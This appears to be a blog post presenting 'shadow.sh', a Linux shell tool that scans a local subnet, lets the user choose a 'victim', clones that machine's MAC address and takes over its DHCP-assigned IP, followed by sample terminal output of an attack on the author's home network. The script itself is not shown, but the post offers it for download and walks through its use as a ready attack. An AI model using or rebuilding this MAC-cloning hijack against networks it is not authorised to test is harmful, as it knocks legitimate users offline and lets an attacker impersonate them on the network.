Ok this program does something pretty cool and simple but I haven’t seen this kind of script in the wild yet. Let’s say there are multiple clients on a local subnet; the Gateway identifies these clients by their unique MAC-address; once identified they are assigned an IP-address. Of course this assumes there is a DHCP-Server that hands out IP-addresses and that’s the way this script is designed (it can easily be modified for static IP assignment). So ask yourself what happens when there are two clients with the same MAC-address. The computer with the best optimized TCP/IP stack will be recognized as the “actual client". If you run this attack against a windows client (and since you’re running this script on a Linux distribution) your machine should be recognized as the “actual client" replacing the "victim". This procedure doesn’t always work, in my experience it works best when tested against an idle machine. Below I have pasted sample output of the program attacking a machine on my local network (the output isn't exactly displayed like in the terminal due to HTML formatting).
Download: shadow.sh
root@bt:~/Desktop# ./shadow.sh °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ° Sh@d0w v1.0 - b33f ° ° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ° ° -Don't panic, i'm only a shadow- ° °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ° Select the Interface to use: eth0 °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ° [>] Current connection Details: ° ° inet 192.168.1.66/24 brd 192.168.1.255 ° link/ether 00:18:f3:31:b0:82 brd ff:ff:ff:ff:ff:ff ° ° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ° ° [>] Scanning for live hosts: ° ° Host: 192.168.1.1 ° Host: 192.168.1.44 ° Host: 192.168.1.64 ° Host: 192.168.1.66 ° °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ° Select the victim's IP: 192.168.1.64 °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ° [>] Victims connection details: ° ° Host: 192.168.1.64 ° MAC: 00:23:54:A1:A1:59 ° °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ° Shall we start cloning (y/n): y °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ° [>] Saving the original MAC of the interface ° [>] Saving the victims MAC adress ° ° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ° ° [>] Ifconfig eth0 down ° [>] Cloning the MAC adress ° [>] Ifconfig eth0 up ° [>] Reconnect to the network ° ° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ° ° [>] Cloning process complete!! ° [>] These are your new connection details: ° ° inet 192.168.1.64/24 brd 192.168.1.255 ° link/ether 00:23:54:a1:a1:59 brd ff:ff:ff:ff:ff:ff ° ° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ° ° [>] Lets scan for those live host again: ° [normally there will be one less] ° ° Host: 192.168.1.1 ° Host: 192.168.1.44 ° Host: 192.168.1.64 ° °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ° Shall we revert the interface (y/n): y °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ° [>] Reverting the interface... ° [>] Done! °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°